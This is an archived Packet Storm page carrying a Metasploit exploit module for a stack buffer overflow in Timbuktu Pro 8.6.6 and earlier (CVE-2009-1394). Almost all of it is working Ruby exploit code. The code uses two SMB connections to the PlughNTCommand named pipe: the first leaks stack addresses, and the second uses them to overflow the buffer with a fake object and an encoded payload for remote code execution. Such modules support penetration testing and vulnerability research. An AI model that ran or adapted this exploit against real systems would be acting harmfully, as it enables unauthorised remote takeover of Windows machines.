what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow

Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow
Posted Dec 31, 2009
Authored by bannedit | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6 in a pretty novel way. This exploit requires two connections. The first connection is used to leak stack data using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying a large value for this argument it is possible to cause Timbuktu to reply to the initial request with leaked stack data. Using this data allows for reliable exploitation of the buffer overflow vulnerability. Props to Infamous41d for helping in finding this exploitation path. The second connection utilizes the data from the data leak to accurately exploit the stack based buffer overflow vulnerability. TODO: hdm suggested using meterpreter's migration capability and restarting the process for multishot exploitation.

tags | exploit, overflow
advisories | CVE-2009-1394
SHA-256 | 1a3eb49398ce9b0ab57cd1e8f8fcef3eb6dad5ad3499db7694e64b4fa58552a2

Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
in a pretty novel way.

This exploit requires two connections. The first connection is used to leak stack data
using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
a large value for this argument it is possible to cause Timbuktu to reply to the initial
request with leaked stack data. Using this data allows for reliable exploitation of the
buffer overflow vulnerability.

Props to Infamous41d for helping in finding this exploitation path.

The second connection utilizes the data from the data leak to accurately exploit
the stack based buffer overflow vulnerability.

TODO:
hdm suggested using meterpreter's migration capability and restarting the process
for multishot exploitation.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7940 $',
'References' =>
[
[ 'CVE', '2009-1394' ],
[ 'OSVDB', '55436' ],
[ 'BID', '35496' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
# we use a memory leak technique to get the return address
# tested on Windows XP SP2/SP3 may require a bit more testing
[ 'Automatic Targeting',
{
# ntdll .data (a fairly reliable address)
# this address should be relatively stable across platforms/SPs
'Writable' => 0x7C97B0B0 + 0x10 - 0xc
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Jun 25 2009',
'DefaultTarget' => 0))
end


# we make two connections this code just wraps the process
def smb_connection

connect()
smb_login()

print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")

pipe = simple.create_pipe('\\PlughNTCommand')

fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')

return pipe

end


def mem_leak

pipe = smb_connection()

print_status("Constructing memory leak...")

writable_addr = target['Writable']

buf = make_nops(114)
buf[0] = "3 " # specifies the command
buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
buf[98] = [writable_addr].pack('V')
buf[110] = [0x1ff8].pack('V') # number of bytes to leak

pipe.write(buf)
leaked = pipe.read()
leaked << pipe.read()

if (leaked.length < 0x1ff8)
print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
pipe.close
disconnect
return
end


offset = 0x1d64
stackaddr = leaked[offset, 4].unpack('V')[0]
bufaddr = stackaddr - 0xcc8

print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"

print_status("Closing connection...")
pipe.close
disconnect

return stackaddr, bufaddr

end


def exploit

stackaddr, bufaddr = mem_leak()

if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
print_error("Error: memory leak failed")
end

pipe = smb_connection()

buf = make_nops(1280)
buf[0] = "3 "
buf[94] = [bufaddr+272].pack('V') # create a fake object
buf[99] = "\x00"
buf[256] = [bufaddr+256].pack('V')
buf[260] = [bufaddr+288].pack('V')
buf[272] = "\x00"
buf[512] = payload.encoded

pipe.write(buf)

end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close